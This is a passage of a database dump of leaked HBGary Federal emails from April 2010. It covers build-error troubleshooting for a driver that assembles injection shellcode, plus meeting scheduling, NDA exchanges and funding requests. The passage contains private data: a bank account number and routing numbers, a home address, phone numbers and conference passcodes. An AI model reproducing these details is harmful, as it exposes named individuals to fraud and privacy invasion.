the\r\nMSDN.  Setup a partition on the target machine and installed Vista.\r\nDownloaded Visual Studio 2008 and the WDK and installed those as well.Moved the most recent ClearhHat code I received via Email over\r\nand followed the General Installation Instructions in the README.txt\r\nfile located in the Updated Version\\x64 directory.  Assembled thestub.asm and InjectSv64.asm in the shellcode64 folder using MASM-64.\r\nMoved the InjectSv64.obj to the root directory of C:\\.  Put the stub.asm\r\ninto the objchk_wlh_amd64\\amd64 directory.  Ran the DDK command CheckedBuild Environment console wince the code was in the objchk_with_amd64\r\ndirectory. did a build -g command to build the driver and received no\r\nerrors.  Found a projectf_64.c file in the Updated Version/x64 folder soI ran the build command there and received two warnings and two errors :\r\nBUILD: Compile and Link for AMD64\r\nBUILD: Loading e:\\winddk\\build.dat...BUILD: Computing Include file dependencies:\r\nBUILD: Start time: Mon Apr 12 10:52:49 2010BUILD: Examining e:\\clearhat\\updated version\\x64 directory for f\r\nBUILD: Saving e:\\winddk\\build.dat...\r\nBUILD: Compiling and Linking e:\\clearhat\\updated version\\x64 dirConfiguring OACR for &#39;root:amd64chk&#39; - &lt;OACR on&gt;\r\n1&gt;errors in directory e:\\clearhat\\updated version\\x64\r\n1&gt;NMAKE : warning U4006: special macro undefined : &#39;$&lt;&#39;Compiling Java files - c:\\workroot\\projectf2\\x64\\objchk_wlh_amd6\r\n1&gt;c:\\workroot\\projectf2\\x64\\objchk_wlh_amd64\\amd64 : error &#39;jvc&#39;\r\ned as an internal or external command,1&gt;NMAKE : warning U4006: special macro undefined : &#39;$&lt;&#39;\r\nCompiling Java files - c:\\workroot\\projectf2\\x64\\objchk_wlh_amd61&gt;c:\\workroot\\projectf2\\x64\\objchk_wlh_amd64\\amd64 : error &#39;jvc&#39;\r\ned as an internal or external command,BUILD: Finish time: Mon Apr 12 10:52:50 2010\r\nBUILD: Done\r\nand this is where I&#39;m stuck.  I googled the JVC errors &quot;&#39;jvc&#39;ed as an internal or external command&quot; and believe it may be a path\r\nissue, however, I&#39;m still not sure what the output should be, after the\r\nbuild command because the instructions stop there or if I&#39;m heading downthe wrong path in what I&#39;ve been doing to get this to create the driver.\r\nThanks,\r\nMark-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\niEYEARECAAYFAkvDrZsACgkQWw/TEDXzQNOuEACfaldq3DS2q5mufWtOpZAR6FGoD1EAn04bXao5Mn0vhl30XS+qKbWuaoFb\r\n=kBik-----END PGP SIGNATURE-----\r\n\r\n',11933,'aaron_hbgary_com/11933.html'),(5231,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003835.M399P14101Q85.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary Federal Funding','Begin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: April 12, 2010 4:55:34 PM MDTTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: RE: HBGary Federal Funding\r\nHey Ted,I think I paid in $70K initially.  HBGary has paid for a total of $19593.29.My initial contribution was $50K, so I should have a $20K credit.  HBGary&#39;s\r\ninitial payment was $15624.99 so HBGary has a credit of $3968.30 toward it&#39;ssecond payment.  I would have a $40K, so my payment would be $19013.33.Rich and Bob would owe the full amount and I think you should have had the\r\npayment for GD put into your account as well, correct?-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, April 12, 2010 9:55 AMTo: Penny Leavy-Hoglund; Bob Slapnik; rich@hbgary.comCc: &#39;Aaron Barr&#39;\r\nSubject: HBGary Federal FundingThe first quarterly round of HBGary Federal funding was due on April1st, with amounts due as follows:Penny Leavy:  $39,013.33\r\nHBGary Inc:  $12,191.67Nina Slapnick:  $5,689.45Rich Cummings:  $1,625.57Please send your check to:HBGary Federal\r\nC/O Ted Vera874 Legend Oak Dr.Fountain, CO 80817or transfer / wire:The acct # is 3803053804The routing # is 121042882\r\nThe wire routing # is 121000248Please let me know if you have any questions.Ted\r\n',4110,'aaron_hbgary_com/4110.html'),(5232,'2010-04-13','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297003835.M498975P14101Q87.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: still want to get together this afternoon','I am traveling Monday and Tuesday (Dallas), and will be back Wednesday-Friday.\r\nThe following week is wide open...how about your schedule?\r\n\r\n	-Irby\r\n\r\n\r\nOn Apr 12, 2010, at 6:04 PM, Aaron Barr wrote:\r\n\r\n> No worries.  Let\'s schedule something up next week.  I have some\r\n> meetings mon and tues and traveling we\'d-fri.  So if u have some times\r\n> on mon or tues.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Apr 12, 2010, at 5:17 PM, Irby Thompson  wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> This week is pretty crazy for us with the DoD Anti-Tamper\r\n>> conference. Friday looks like the only possibility - you up for lunch?\r\n>> \r\n>>   Regards,\r\n>>   Irby\r\n>> \r\n>> \r\n>> On Apr 9, 2010, at 11:33 AM, Aaron Barr wrote:\r\n>> \r\n>>> sure no problem.\r\n>>> \r\n>>> On Apr 9, 2010, at 11:31 AM, Irby Thompson wrote:\r\n>>> \r\n>>>> Do you mind if we move to next week, I am frantically trying to\r\n>>>> finish a proposal.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> On Apr 9, 2010, at 10:52 AM, Aaron Barr  wrote:\r\n>>>> \r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n\r\n',3632,'aaron_hbgary_com/3632.html'),(5233,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003835.M705082P14101Q88.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: still want to get together this afternoon','Yep I am open.\r\n\r\n From my iPhone\r\n\r\nOn Apr 12, 2010, at 8:58 PM, Irby Thompson  wrote:\r\n\r\n> I am traveling Monday and Tuesday (Dallas), and will be back\r\n> Wednesday-Friday.\r\n> The following week is wide open...how about your schedule?\r\n>\r\n>    -Irby\r\n>\r\n>\r\n> On Apr 12, 2010, at 6:04 PM, Aaron Barr wrote:\r\n>\r\n>> No worries.  Let\'s schedule something up next week.  I have some\r\n>> meetings mon and tues and traveling we\'d-fri.  So if u have some\r\n>> times\r\n>> on mon or tues.\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Apr 12, 2010, at 5:17 PM, Irby Thompson \r\n>> wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> This week is pretty crazy for us with the DoD Anti-Tamper\r\n>>> conference. Friday looks like the only possibility - you up for\r\n>>> lunch?\r\n>>>\r\n>>>  Regards,\r\n>>>  Irby\r\n>>>\r\n>>>\r\n>>> On Apr 9, 2010, at 11:33 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> sure no problem.\r\n>>>>\r\n>>>> On Apr 9, 2010, at 11:31 AM, Irby Thompson wrote:\r\n>>>>\r\n>>>>> Do you mind if we move to next week, I am frantically trying to\r\n>>>>> finish a proposal.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> On Apr 9, 2010, at 10:52 AM, Aaron Barr  wrote:\r\n>>>>>\r\n>>>>>>\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>\r\n>\r\n',3420,'aaron_hbgary_com/3420.html'),(5234,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003835.M930876P14101Q89.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: [Softwide] Deal and SI project requesting','After looking at it, fed is going to pass.  Raises too many concerns.sellomg software is one thing, specialized work for a foreign government is another.Aaron\r\nFrom my iPhoneOn Apr 12, 2010, at 6:35 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:Hi Aaron\r\n \r\nWhat did we decide to do with Softwide?  Any action items for me to follow up?\r\n \r\nMaria\r\nOn Thu, Apr 8, 2010 at 7:58 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nyeah. \r\n\r\n\r\nCyber Threat Analysis Team // National Computing &amp; Information Agency\r\n\r\nI don&#39;t think this is a good idea.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Apr 7, 2010, at 6:53 PM, Penny Leavy-Hoglund wrote:\r\nCyber Threat Analysis Team // National Computing &amp; Information Agency\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n',2268,'aaron_hbgary_com/2268.html'),(5235,'2010-04-13','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297003836.M187114P14101Q90.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: still want to get together this afternoon','Great,\r\n\r\nLet\'s do lunch on Tuesday April 27th.\r\n\r\n	-Irby\r\n\r\n\r\nOn Apr 12, 2010, at 9:00 PM, Aaron Barr wrote:\r\n\r\n> Yep I am open.\r\n> \r\n> From my iPhone\r\n> \r\n> On Apr 12, 2010, at 8:58 PM, Irby Thompson  wrote:\r\n> \r\n>> I am traveling Monday and Tuesday (Dallas), and will be back\r\n>> Wednesday-Friday.\r\n>> The following week is wide open...how about your schedule?\r\n>> \r\n>>   -Irby\r\n>> \r\n>> \r\n>> On Apr 12, 2010, at 6:04 PM, Aaron Barr wrote:\r\n>> \r\n>>> No worries.  Let\'s schedule something up next week.  I have some\r\n>>> meetings mon and tues and traveling we\'d-fri.  So if u have some\r\n>>> times\r\n>>> on mon or tues.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Apr 12, 2010, at 5:17 PM, Irby Thompson \r\n>>> wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> \r\n>>>> This week is pretty crazy for us with the DoD Anti-Tamper\r\n>>>> conference. Friday looks like the only possibility - you up for\r\n>>>> lunch?\r\n>>>> \r\n>>>> Regards,\r\n>>>> Irby\r\n>>>> \r\n>>>> \r\n>>>> On Apr 9, 2010, at 11:33 AM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> sure no problem.\r\n>>>>> \r\n>>>>> On Apr 9, 2010, at 11:31 AM, Irby Thompson wrote:\r\n>>>>> \r\n>>>>>> Do you mind if we move to next week, I am frantically trying to\r\n>>>>>> finish a proposal.\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Apr 9, 2010, at 10:52 AM, Aaron Barr  wrote:\r\n>>>>>> \r\n>>>>>>> \r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>> \r\n\r\n',9824,'aaron_hbgary_com/9824.html'),(5236,'2010-04-13','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003836.M415879P14101Q91.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','HBGary front page got a face lift','Check out the website.  Put the new tagline in the title bar, put two new quotes up (thanks penny!), and dropped in a new frontpage panel advertising active defense.  I also reworded some of the text snippits, dropped in a few logo&#39;s, and put an in-focus link for Phil&#39;s new blog post.\r\n\r\n \r\n-Greg\r\n',247,'aaron_hbgary_com/247.html'),(5237,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003838.M973673P14101Q92.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>,','Re: NDA and Collaboration','Attached is a fully executed NDA.\r\n\r\nLets set up a convenient time to have a telecon (or meet in person if feasible) to discuss next steps.\r\n\r\nOne point of mention.  We are going to start a cybersecurity podcast.  The first topic we would like to have on APT, what it is, what it isn\'t, what we really need to be concerned about, etc.  We were working to get someone more on the policy/big picture government side but I think it would be more interesting to have you guys on this topic.  We could talk about Aurora, Shadownet, etc.\r\n\r\nLet me know what you think.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 4:49 PM, Arnav Manchanda wrote:\r\n\r\n> Hello Aaron,\r\n> \r\n> Please find attached the NDA signed by my CEO Rafal Rohozinski. I await your countersigned copy.\r\n> \r\n> Best,\r\n> Arnav\r\n> \r\n> \r\n> \r\n> On 2010-04-12, at 4:02 PM, Aaron Barr wrote:\r\n> \r\n>> Great.\r\n>> \r\n>> Attached is a copy of our NDA.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> \r\n>> On Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\n>> \r\n>>> Dear Aaron,\r\n>>> \r\n>>> Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\n>>> \r\n>>> We would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.\r\n>>> \r\n>>> Best wishes,\r\n>>> Arnav\r\n>>> \r\n>>> Arnav Manchanda\r\n>>> Business Capture & Analytics\r\n>>> \r\n>>> The SecDev Group\r\n>>> complexity.engaged\r\n>>> \r\n>>> World Exchange Plaza\r\n>>> 45 O\'Connor Street, Suite 1150\r\n>>> Ottawa, Ontario K1A 1A4\r\n>>> Office: +1 (613) 755-4007\r\n>>> Cell:  +1 (613) 806-4081\r\n>>> E-mail: a.manchanda@secdev.ca \r\n>>> \r\n>>> \r\n>>> \r\n>>> This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n>>> \r\n>>> \r\n>>> \r\n>>> Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n>>> \r\n>>> \r\n>>> \r\n>>>> From: Aaron Barr \r\n>>>> Date: April 9, 2010 3:40:07 PM EDT\r\n>>>> To: N.villeneuve@secdev.ca\r\n>>>> Cc: Ted Vera \r\n>>>> Subject: NDA and Collaboration\r\n>>>> \r\n>>>> Nart,\r\n>>>> \r\n>>>> It was very nice talking with you at the Palantir conference.  I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\n>>>> \r\n>>>> How often do you come down to DC?\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> 719.510.8478\r\n>>>> \r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2223,'aaron_hbgary_com/2223.html'),(5238,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003839.M324784P14101Q93.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','NDA with SecDev Group','Hi Karen,\r\n\r\nWe just completed the NDA with the SecDev group (canadian group that lead the GhostNet and ShadowNet investigations.  I should be talking with them today or tomorrow about the podcast and future investigation efforts.  I will let you know on the podcast as soon as I talk with them.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12058,'aaron_hbgary_com/12058.html'),(5239,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003839.M550544P14101Q94.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','SecDev','Hey Matt,\r\n\r\nJust wanted to make you aware.  We just signed an NDA with SecDev and are going to be discussing how we can combine our malware analysis and investigative capabilities with their efforts.  Sounds exciting.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14138,'aaron_hbgary_com/14138.html'),(5240,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003839.M766566P14101Q95.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Fwd: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)','I don\'t think I sent this to you, but so you are aware.\r\n\r\nI am working on an APT/Threat Intelligence presentation and whitepaper, from that I will draw out an opinion piece as you had mentioned to submit for publication.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Jennifer Jordan-Harrell \r\n> Date: April 5, 2010 11:23:02 AM EDT\r\n> To: \"aaron@hbgary.com\" , JD Kathuria \r\n> Subject: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)\r\n> \r\n> When: Tuesday, April 13, 2010 11:30 AM-12:00 PM (GMT-05:00) Eastern Time (US & Canada).\r\n> Where: Dial In info - 800 760 3309: Code 74491765\r\n>  \r\n> Note: The GMT offset above does not reflect daylight saving time adjustments.\r\n>  \r\n> *~*~*~*~*~*~*~*~*~*\r\n>  \r\n> When: Tuesday, April 13, 2010 11:30 AM- 12:00 PM Eastern Time (US & Canada).\r\n> Where: 800 760 3309: Code 74491765\r\n>  \r\n> *~*~*~*~*~*~*~*~*~*\r\n>  \r\n> Aaron,\r\n> So glad we were able get you set up for the conference call.  You’ll be speaking with myself and our co-founder, JD Kathuria about our invite only, executive 4 x 24 Group focused on cyber.  Recruiting for the Cyber Group started on March 1st and we are very pleased with the rate at which it is ramping up. For your review, I’ve included the list of members already signed on. Aside from those members, we have a verbal commitment from ITT but are waiting for them to identify the person they want participating. \r\n>  \r\n> Current:\r\n> 1. Bill Phelps, Accenture\r\n> 2. Skip Foote, American Systems\r\n> 3. Jeff Berkin, CACI\r\n> 4. Vince Pratuch, Cisco Systems\r\n> 5. JR Reagan, Deloitte Services, LP\r\n> 6. Samuel Chun, HP\r\n> 7. Charles Palmer, IBM\r\n> 8. Dusty Wince, KnowledgeCG\r\n> 9. Bill Varner, ManTech Int’l. (Chairman)\r\n> 10. Scott Miller, Microsoft\r\n> 11. Gary Gagnon, MITRE\r\n> 12. Shawn Carroll, Qwest\r\n> 13. Larry Cox, SAIC\r\n> 14. Mike Fraser, USIS\r\n> 15. TBD, ITT\r\n>  \r\n> PLEASE NOTE:\r\n> *       The Conference Call dial-in number and participant code are listed above\r\n> *       If you need to make any changes or have any questions, please call me @ 703-226-7016 or send an email to jennifer@executivebiz.com\r\n> *       The morning of the call I’ll send out a Go To Meeting link for the visual aspect of our call.\r\n>  \r\n> Please check out our emagazine at www.executivebiz.com where you\'ll find out about all the latest happenings in the government contracting arena. \r\n>  \r\n>  \r\n>  \r\n> Sincerely,\r\n>  \r\n> Jennifer Jordan-Harrell\r\n> Group Manager\r\n>  \r\n> ExecutiveBiz\r\n> 703-226-7016\r\n> jennifer@executivebiz.com\r\n>  \r\n>  \r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14920,'aaron_hbgary_com/14920.html'),(5241,'2010-04-13','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297003839.M986308P14101Q96.eml','aaron@hbgary.com','ExecutiveBiz 4x24 Conference Call today at 11:30 am','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Morning Aaron,\r\n\r\nWe are really looking forward\r\nto speaking with you a little later today.&nbsp;&nbsp;&nbsp; You will be on the\r\ncall with myself and Jim Garrettson and JD Kathuria; co-founders of\r\nExecutiveBiz. Below is a link that will enable you to access additional\r\ninformation to be utilized as a visual aid during the call. Here are a couple\r\nof helpful hints for a seamless conference call: \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPlease plan to\r\nparticipate in the conference call on a phone that is in close proximity to a\r\ncomputer with a browser. A few minutes prior to the scheduled start time of the\r\ncall itself, click on the following link:\r\n\r\nhttps://www2.gotomeeting.com/join/276046066\r\n\r\n&nbsp;\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPlease follow instructions\r\nat the prompt, such as entering your name &amp; email address. FYI &#8211; you\r\nwill only be able to view what we control on our end, and that will only occur\r\nonce the call is actually underway.\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp; At the scheduled time of our call, please dial into the\r\nbridge by calling toll free 800-760-3309 and then entering the passcode:\r\n74491765\r\n\r\nBear in mind that the\r\ninformation we will be sharing with you is considered proprietary and\r\nconfidential. If you have any problems dialing into the call, please call 703-752-7449.\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAlso &#8211; please take a moment\r\nto check out our blog!\r\n\r\nhttp://blog.executivebiz.com/\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10804,'aaron_hbgary_com/10804.html'),(5242,'2010-04-13','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297003840.M207170P14101Q97.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: SecDev','Nice!\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 13, 2010 8:15 AM\r\nTo: Matthew Steckman\r\nSubject: SecDev\r\n\r\nHey Matt,\r\n\r\nJust wanted to make you aware.  We just signed an NDA with SecDev and are going to be discussing how we can combine our malware analysis and investigative capabilities with their efforts.  Sounds exciting.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15915,'aaron_hbgary_com/15915.html'),(5243,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003840.M439730P14101Q98.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark.trynor@hbgary.com','monster.com','Our job posting will appear sometime this morning.  The req number is:\r\n87445313\r\n\r\nTed\r\n\r\n',10677,'aaron_hbgary_com/10677.html'),(5244,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003840.M706454P14101Q99.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Follow up','Begin forwarded message:From: \"Lachow, Irving\" &lt;LachowI@ndu.edu&gt;Date: April 9, 2010 9:26:05 AM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc: \"Lachow, Irving Mr OSD ATL\" &lt;Irving.Lachow@osd.mil&gt;Subject: Follow up\r\n\r\nAaron,Great to meet you in person.&nbsp; I’m excited about the opportunities that lie ahead.&nbsp; Let’s get together and plan out some proposals that we can pitch to various agencies.&nbsp; I also think that we should put forward one or two ideas for the Defense Acquisition Challenge program.&nbsp; How’s your schedule the morning of the 20th?Cheers,IrvIrving Lachow, Ph.D.ProfessoriCollegeNational Defense UniversityFort Lesley J. McNairWashington, DC 20319Work: (202) 685-2060Cell: (202) 903-7722Email: lachowi@ndu.edu\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11970,'aaron_hbgary_com/11970.html'),(5245,'2010-04-13','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297003840.M934822P14101Q100.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Staggs','\r\n\r\n\r\n\r\n\r\nStaggs\r\n\r\n\r\n\r\n\r\nI see on linkedin HBGary hired Staggs, does he work with your team or just product sales? \r\n\r\n\r\n',344,'aaron_hbgary_com/344.html'),(5246,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003841.M163073P14101Q101.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: Staggs','Product Sales mostly. &nbsp;We work with him when needed.AaronOn Apr 13, 2010, at 10:14 AM, Winterfeld, Steven P (TASC) wrote:\r\n\r\nI see on linkedin HBGary hired Staggs, does he work with your team or just product sales? \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2736,'aaron_hbgary_com/2736.html'),(5247,'2010-04-13','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297003841.M365506P14101Q102.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Staggs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSmall world \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 13, 2010 8:16 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Staggs\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nProduct Sales mostly. &nbsp;We work with him when needed.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 10:14 AM, Winterfeld, Steven P (TASC)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI see on linkedin HBGary\r\nhired Staggs, does he work with your team or just product sales? \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16676,'aaron_hbgary_com/16676.html'),(5248,'2010-04-13','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297003841.M604696P14101Q103.eml','\"Aaron Barr\" <aaron@hbgary.com>','Dino Dai Zovi has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Dino are now connected.\r\n\r\n \r\n   \r\n   View Dino\'s profile to:\r\n     \r\n       Download Dino\'s current contact information\r\n       Write a recommendation for Dino\r\n       Find opportunities through Dino\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/6910564/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',6170,'aaron_hbgary_com/6170.html'),(5249,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003841.M985836P14101Q104.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>,\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: Staggs','Both, but primarily with HBGary proper.\r\n\r\nTed\r\n\r\n\r\nOn 4/13/10 8:14 AM, Winterfeld, Steven P (TASC) wrote:\r\n> I see on linkedin HBGary hired Staggs, does he work with your team or\r\n> just product sales? \r\n> \r\n\r\n',2139,'aaron_hbgary_com/2139.html'),(5250,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003842.M219516P14101Q105.eml','\"Christopher Starr\" <Chris.Starr@gd-ais.com>','Get together','Hey Chris,\r\n\r\nWant to try and get together this week or early next?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9718,'aaron_hbgary_com/9718.html'),(5251,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003842.M430253P14101Q106.eml','\"Aaron Barr\" 